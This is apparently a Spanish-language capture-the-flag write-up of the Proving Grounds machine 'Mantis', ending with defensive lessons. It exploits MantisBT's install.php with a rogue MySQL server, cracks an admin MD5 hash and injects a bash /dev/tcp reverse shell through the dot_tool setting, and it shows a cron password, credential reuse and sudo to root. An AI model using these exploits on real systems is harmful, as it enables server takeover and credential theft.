the_open_door
café
ESEN

Mantis

Proving Grounds PracticeMediaLinux192.168.206.204

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#mantisbt#rogue-mysql#arbitrary-file-read#information-disclosure#hash-cracking#os-command-injection#config-injection#credential-reuse#sudo-all#oscp
TL;DR. El /bugtracker/ corre MantisBT. Su install.php deja apuntar la instalación a un servidor MySQL controlado por nosotros, que abusa de LOAD DATA LOCAL INFILE para leer ficheros del objetivo (servidor MySQL malicioso): sacamos config_inc.php con las credenciales de la base de datos. Con ellas volcamos el hash del administrador de Mantis, lo crackeamos (crackeo de hashes) y entramos al panel. MantisBT 2.5.2 permite inyección de comandos por una opción de configuración (inyección de comandos), lo que da shell como www-data. pspy revela una credencial en un mysqldump de un cron; con ella saltamos a mantis, que tiene sudo ALL (sudo sin restricciones) y es root directo.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo dos puertos: un Apache y una MariaDB expuesta.

ping -c 1 192.168.206.204
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.206.204
PORT     STATE SERVICE
80/tcp   open  http
3306/tcp open  mysql
nmap -p80,3306 -sCV 192.168.206.204 -oN targetedScan
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Slick - Bootstrap 4 Template
3306/tcp open  mysql   MariaDB 5.5.5-10.3.34
|_  Auth Plugin Name: mysql_native_password

HTTP - TCP 80: MantisBT

La raíz es una plantilla Bootstrap sin chicha, pero dirsearch descubre un /bugtracker/ que resulta ser un Mantis Bug Tracker, con su panel de administración y, sobre todo, un instalador accesible:

dirsearch -u http://192.168.206.204/ --exclude-status=404,403
dirsearch -u http://192.168.206.204/bugtracker/admin/ --exclude-status=404,403
[19:40:37] 301 -  323B  - /bugtracker  ->  http://192.168.206.204/bugtracker/
[21:20:11] 301 -  329B  - /bugtracker/admin  ->  .../bugtracker/admin/
[21:20:17] 301 -  330B  - /bugtracker/config  ->  .../bugtracker/config/
[21:20:17] 200 -  521B  - /bugtracker/config/
[21:30:46] 200 -    2KB - /bugtracker/admin/install.php
[21:30:46] 200 -    2KB - /bugtracker/admin/install.php?profile=default

La propia aplicación nos dice por dónde va la cosa antes de tocar nada. La pantalla de login lleva pegado un aviso del instalador que nadie retiró:

Login de MantisBT con el aviso de que el directorio admin debería haberse eliminado

Warning: "admin" directory should be removed, or access to it restricted.

Que el install.php siga accesible tras instalar es la vulnerabilidad, y está catalogada: CVE-2017-12419, Arbitrary File Read inside install.php script. El instalador reparte el proceso en fases con el parámetro install, y en la fase 3 abre la conexión a la base de datos con un host que llega por HTTP sin validar. Estas tres líneas del propio informe del fabricante son toda la vulnerabilidad:

// admin/install.php
 95: $t_install_state = gpc_get_int( 'install', 0 );
200: $f_hostname      = gpc_get( 'hostname', config_get( 'hostname', 'localhost' ) );
766: $t_result = @$g_db->Connect( $f_hostname, $f_admin_username, $f_admin_password, $f_database_name );

Controlamos $f_hostname, así que controlamos a qué servidor MySQL se conecta la víctima. El aviso del fabricante añade la condición: afecta a cualquier MantisBT sobre MySQL/MariaDB salvo que hayan deshabilitado local_infile.

El otro dato que hace falta es la ruta del fichero que queremos leer, y el /bugtracker/config/ con listado de directorio la regala:

Listado de /bugtracker/config con config_inc.php de 327 bytes

Index of /bugtracker/config
Name                     Last modified       Size
Parent Directory                                -
Web.config               2017-09-03 22:26     309
config_inc.php           2022-05-05 11:31     327
config_inc.php.sample    2017-09-03 22:26    3.3K

El listado enseña los nombres pero Apache ejecuta el .php en vez de servirlo, así que por HTTP no se puede leer su contenido. Para eso está el traversal de MySQL.

Explotación

El CVE y de dónde sale

El install.php que sigue en su sitio no es un descuido sin consecuencias, tiene CVE propio. Buscar la combinación de producto y primitiva ya lo saca a la primera:

la búsqueda de "mantis bug tracker arbitrary file read" devuelve como primer resultado CVE-2017-12419, Arbitrary file read via MySQL

la búsqueda del identificador CVE-2017-12419 lleva al propio bug tracker de MantisBT: Arbitrary File Read inside install.php script

Y el mejor sitio para leerlo es el propio MantisBT, que como buen gestor de incidencias documenta su vulnerabilidad en una incidencia, con código y pasos de reproducción:

el bug 0023173 de mantisbt.org describiendo el CVE-2017-12419 con el codigo de install.php y los pasos de reproduccion

0023173: CVE-2017-12419: Arbitrary File Read inside install.php script

After successful installation of bug tracker, it doesn't remove install.php script because of that
attacker can read any file on the remote system through some installation process steps.

/admin/install.php:
  86: # install_state
  87: #    0 = no checks done
  88: #    1 = server ok, get database information
  89: #    2 = check the database information
  90: #    3 = install the database
  95: $t_install_state = gpc_get_int( 'install', 0 );

  765:     <?php
  766:         $t_result = @$g_db->Connect( $f_hostname, $f_admin_username, $f_admin_password, $f_database_name );

  200: $f_hostname = gpc_get( 'hostname', config_get( 'hostname', 'localhost' ) );

Script try to connect to MySQL server, but you can control $f_hostname variable through HTTP-request
parameter hostname.

  - Run roguemysql.php
  - Type file path to read '/etc/passwd'
  - Browse https://mantis/admin/install.php?install=3&hostname=IP_WHERE_ROGUE_SERVER_RUN

This issue potentially affects ALL MantisBT versions running on MySQL / MariaDB, unless they have
disabled local_infile

La propia incidencia adjunta la prueba, y es exactamente lo que vamos a reproducir: la petición install=3&hostname=attacker a un lado y el servidor malicioso devolviendo el /etc/passwd al otro.

la captura adjunta al bug: la peticion POST a install.php con install=3&amp;hostname=attacker y, debajo, roguemysql.php recibiendo el /etc/passwd

install.php + servidor MySQL malicioso: lectura de ficheros

El servidor falso también lo nombra el propio reporte, y está en GitHub:

la búsqueda de "mysql rogue" devuelve el repositorio allyshka/Rogue-MySql-Server como primer resultado

Levantamos ese servidor MySQL falso (Rogue-MySql-Server) que, en cuanto un cliente se conecta, le pide un fichero con LOAD DATA LOCAL INFILE y se queda con su contenido (servidor MySQL malicioso). Le indicamos que quiere leer el config_inc.php de Mantis:

wget https://raw.githubusercontent.com/allyshka/Rogue-MySql-Server/master/roguemysql.php
php roguemysql.php

El script pregunta qué fichero quiere y propone /etc/passwd por defecto. Merece la pena aceptar el propuesto en la primera pasada: si sale, la primitiva está confirmada y ya habrá tiempo de pedir lo que interesa.

roguemysql.php preguntando el fichero y escuchando en el 3306

Enter filename to get [/etc/passwd] >
[.] Waiting for connection on 0.0.0.0:3306

Y forzamos a que Mantis conecte a nuestro MySQL pasándole nuestra IP como hostname del instalador:

curl 'http://192.168.206.204/bugtracker/admin/install.php?install=3&hostname=192.168.45.238'

El objetivo se conecta a nuestro servidor, que le pide el fichero, y nos lo entrega:

install.php apuntado a nuestra IP y el servidor malicioso recibiendo el /etc/passwd del objetivo

[+] Connection from 192.168.206.204:34060 - greet ... auth ok ... some shit ok ... want file ...
[+] /etc/passwd from 192.168.206.204:34060:
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false

En el navegador, mientras tanto, install.php va enseñando su tabla de comprobaciones con todo en GOOD: la página cree que está haciendo una instalación normal. Con la primitiva confirmada, repetimos pidiendo el fichero que interesa:

php roguemysql.php   # /var/www/html/bugtracker/config/config_inc.php
curl 'http://192.168.206.204/bugtracker/admin/install.php?install=3&hostname=192.168.45.238'

El servidor malicioso entrega config_inc.php con las credenciales de la base de datos

$g_hostname           = 'localhost';
$g_db_type            = 'mysqli';
$g_database_name      = 'bugtracker';
$g_db_username        = 'root';
$g_db_password        = 'SuperSequelPassword';

$g_default_timezone   = 'UTC';

$g_crypto_master_salt = 'OYAxsrYFCI+xsFw3FNKSoBDoJX4OG5aLrp7rVmOCFjU=';

MySQL: volcado del hash del administrador

La MariaDB estaba expuesta en el 3306 y ahora tenemos root / SuperSequelPassword. Nos conectamos y sacamos la tabla de usuarios de Mantis:

mysql -u root -h 192.168.206.204 -p --skip-ssl -D bugtracker

El cliente mysql conectado a la MariaDB del objetivo, con el hash del administrador en mantis_user_table

Server version: 10.3.34-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

MariaDB [bugtracker]> select * from mantis_user_table;
id | username      | realname | email          | password
 1 | administrator |          | root@localhost | c7870d0b102cfb2f4916ff04e47b5c6f

El --skip-ssl no es un adorno: el cliente moderno de MariaDB negocia TLS por defecto y contra un servidor de 2020 sin certificado la conexión se cae antes de pedir la contraseña.

Crackeo del hash

El hash tiene 32 caracteres hexadecimales y no lleva sal: es un MD5 a pelo, que es lo que MantisBT usaba por defecto en esa rama. No hace falta ni lanzar un diccionario, ya está en las bases de datos públicas (crackeo de hashes):

hashes.com resuelve el MD5 del administrador a prayingmantis

1 hashes were checked: 1 found 0 not found

Found:
c7870d0b102cfb2f4916ff04e47b5c6f:prayingmantis

Ese 1 found 0 not found es la clave del asunto: no hemos roto nada, el hash ya estaba indexado. Es el riesgo real de un MD5 sin sal, que cualquiera que lo vea una vez lo tiene resuelto para siempre.

Credenciales del panel: administrator/prayingmantis.

el login de MantisBT pidiendo la contraseña del usuario administrator, con prayingmantis escrito en el campo

MantisBT 2.5.2: inyección de comandos por opción de configuración

Las credenciales entran y el usuario es administrador del tablero, con el menú Manage completo:

Panel de MantisBT como administrator, con las pestañas de gestión

La pestaña de información del sitio confirma la versión y, de paso, la ruta de instalación que ya habíamos supuesto al pedir el config_inc.php:

Site Information: MantisBT 2.5.2, esquema 209 y Site Path /var/www/html/bugtracker/

MantisBT Version  2.5.2
Schema Version    209
Site Path         /var/www/html/bugtracker/
Core Path         /var/www/html/bugtracker/core/
Plugin Path       /var/www/html/bugtracker/plugins/

La 2.5.2 arrastra CVE-2019-15715: un administrador puede crear opciones de configuración con valores arbitrarios, y una de ellas, dot_tool, es la ruta al binario dot de Graphviz que Mantis ejecuta para dibujar los grafos de relaciones. Poner un comando donde se espera una ruta es inyección de comandos de manual. Que exija ser administrador no lo hace inofensivo: es la diferencia entre "me han robado una cuenta del gestor de incidencias" y "me han robado el servidor".

Ese CVE tampoco hay que adivinarlo: con el producto y la versión en la mano, la búsqueda lo devuelve, y otra vez apuntando al bug tracker del propio MantisBT.

la búsqueda de "mantisbt 2.5.2 exploitation" devuelve el bug 0026091, CVE-2019-15715, marcado como Admin Required

La incidencia trae los pasos exactos, incluido el detalle del que depende todo:

los pasos de reproduccion del bug 0026091: activar relationship_graph_enable a 1, poner dot_tool con un comando y visitar workflow_graph_img.php

Pasos para reproducir

Login to mantisbt as an administrator.
Navigate to Manage->Manage Configuration->Configuration Report.
Scroll down to "Create Configuration Option"

Type "relationship_graph_enable" into Configuration Option with a value of 1 to enable the graphs.
Hit "Create Configuration Option"

Scroll back down to "Create Configuration Option"
Type "dot_tool" into Configuration Option with a value of "touch /tmp/vulnerable;"
Hit "Create Configuration Option"

Visit: http://mantisbt/workflow_graph_img.php

List files in /tmp and find "vulnerable" has been created proving the command injection worked.

El camino es Manage > Manage Configuration > Configuration Report, y abajo del todo está el formulario Create Configuration Option:

Ruta hasta el Configuration Report dentro de Manage Configuration

Aquí hay un paso que es fácil saltarse y sin el cual no pasa nada: los grafos vienen desactivados, así que antes de tocar dot_tool hay que encender relationship_graph_enable a 1. Si no, workflow_graph_img.php no llega a invocar el binario y el payload se queda de adorno en la base de datos.

Create Configuration Option con relationship_graph_enable a 1

Configuration Option:  relationship_graph_enable
Type:                  default
Value:                 1

Ahora sí, dot_tool con la reverse shell en vez de la ruta al binario. El tipo tiene que ser string:

Edit Configuration Option con dot_tool apuntando a una reverse shell

Configuration Option:  dot_tool
Type:                  string
Value:                 bash -c 'bash -i >& /dev/tcp/192.168.45.238/4444 0>&1'

El propio informe de configuración sirve de verificación de que las dos opciones han quedado guardadas, que es justo lo que hay que comprobar antes de disparar:

Database Configuration con database_version, dot_tool y relationship_graph_enable

Configuration Option       Type     Value
database_version           integer  209
dot_tool                   string   'bash -c 'bash -i >& /dev/tcp/192.168.45.238/4444 0>&1''
relationship_graph_enable  integer  1

Las comillas simples que envuelven el valor de dot_tool las pone Mantis al mostrar un tipo string; en el formulario se escribió sin ellas.

Con el listener levantado (aquí penelope, que además intenta la subida a PTY sola), visitar workflow_graph_img.php hace que Mantis invoque nuestro "dot" y dispare la reverse shell como www-data:

workflow_graph_img.php dispara la inyección y penelope recibe la shell de www-data ya como PTY

[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from mantis~192.168.206.204-Linux-x86_64  Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12

www-data@mantis:/var/www/html/bugtracker$ whoami
www-data

Pivote de usuarios

Credencial expuesta por un cron (pspy)

Como www-data no hay flag. Ejecutamos pspy (repo) para ver procesos y aparece un cron del usuario mantis (UID 1000) que corre backup.sh, y dentro un mysqldump con la contraseña en la línea de comandos:

wget http://192.168.45.238/pspy64; chmod +x pspy64; ./pspy64

pspy capta el cron de mantis (UID=1000): backup.sh y un mysqldump -u bugtracker -pBugTracker007 con la contraseña en la línea de comandos

UID=1000 PID=... bash /home/mantis/db_backups/backup.sh
UID=1000 PID=... mysqldump -u bugtracker -pBugTracker007 bugtracker

La contraseña BugTracker007 sirve para la cuenta de sistema mantis (reutilización de credenciales):

su mantis   # BugTracker007

su mantis con BugTracker007 desde www-data; el prompt pasa a mantis@mantis con db_backups y local.txt en el home

www-data@mantis:/home/mantis$ su mantis
Password:
mantis@mantis:~$ ls
db_backups  local.txt

El prompt pasa de www-data@mantis a mantis@mantis: la contraseña que el cron pasaba por la línea de comandos servía tal cual para la cuenta del sistema (reutilización de credenciales).

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como el usuario mantis

8a8159d59696c9a415b2d3391e7701c3
mantis

Escalada de privilegios

sudo ALL:ALL

sudo -l no deja lugar a dudas: mantis puede ejecutar cualquier comando como cualquier usuario (sudo sin restricciones):

sudo -l
sudo su

sudo -l muestra (ALL : ALL) ALL y sudo su devuelve root

mantis@mantis:~$ sudo -l
Matching Defaults entries for mantis on mantis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mantis may run the following commands on mantis:
    (ALL : ALL) ALL
mantis@mantis:~$ sudo su
root@mantis:/home/mantis# whoami
root

Los Matching Defaults entries son la parte irónica: env_reset y secure_path están puestos, que son las defensas contra el secuestro de variables de entorno y de PATH. No sirven de nada cuando la regla de abajo concede (ALL : ALL) ALL, porque no hace falta engañar a ningún binario para ser root.

Proof

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en mantis

558528f9dff47d7f1b79882bffafdc47
root

Cadena de ataque

HTTP 80  --  /bugtracker/ MantisBT, install.php accesible (CVE-2017-12419)
        │  servidor MySQL malicioso + hostname=nosotros -> LOAD DATA LOCAL INFILE
        │  lee config_inc.php -> db root : SuperSequelPassword
        ▼
MySQL 3306  --  mantis_user_table -> hash administrador c7870... -> prayingmantis
        │  panel MantisBT 2.5.2 (CVE-2019-15715)
        │  relationship_graph_enable=1 + dot_tool = reverse shell
        ▼
www-data
        │  pspy -> cron backup.sh -> mysqldump -pBugTracker007 -> su mantis
        ▼
mantis  (local.txt)
        │  sudo -l -> (ALL:ALL) ALL -> sudo su
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Un instalador que sobrevive a la instalación es un agujero. El install.php de MantisBT dejaba reconectar la base de datos a un host arbitrario; borrar los instaladores tras desplegar corta el vector.
  • Un cliente MySQL puede leer tus ficheros. Con LOAD DATA LOCAL INFILE habilitado, un servidor malicioso lee lo que quiera del cliente que conecta. Deshabilitar local-infile en clientes cierra el abuso.
  • No pongas contraseñas en la línea de comandos. El mysqldump -pBugTracker007 del cron era visible en la tabla de procesos; usar ~/.my.cnf o variables de entorno evita filtrarla a cualquier usuario.
  • sudo ALL:ALL es root para quien lo tenga. Es cómodo en un laboratorio, catastrófico en producción; el principio de mínimo privilegio existe justo para esto. Y da igual que el sudoers traiga env_reset y secure_path bien puestos: esas defensas protegen de secuestrar el entorno de un comando concreto, no de poder ejecutarlos todos.
  • Confirma la primitiva con el objetivo fácil antes de ir al bueno. La primera lectura fue el /etc/passwd que el propio script propone por defecto; solo después se pidió el config_inc.php. Si algo falla, así sabes si el problema es la vulnerabilidad o la ruta que has escrito.
  • Un exploit que "requiere administrador" sigue siendo un exploit. CVE-2019-15715 pide sesión de admin en el tablero, y aun así convierte el robo de una cuenta de aplicación en shell en el servidor. Al leer un aviso de seguridad, la condición previa dice a quién afecta, no si merece la pena arreglarlo.
  • Lee los pasos de reproducción enteros. El dot_tool no dispara nada si relationship_graph_enable sigue a 0; es el paso que se salta todo el mundo y luego parece que el payload no funciona.
Cheatsheet de comandos 18 comandos

Repaso rápido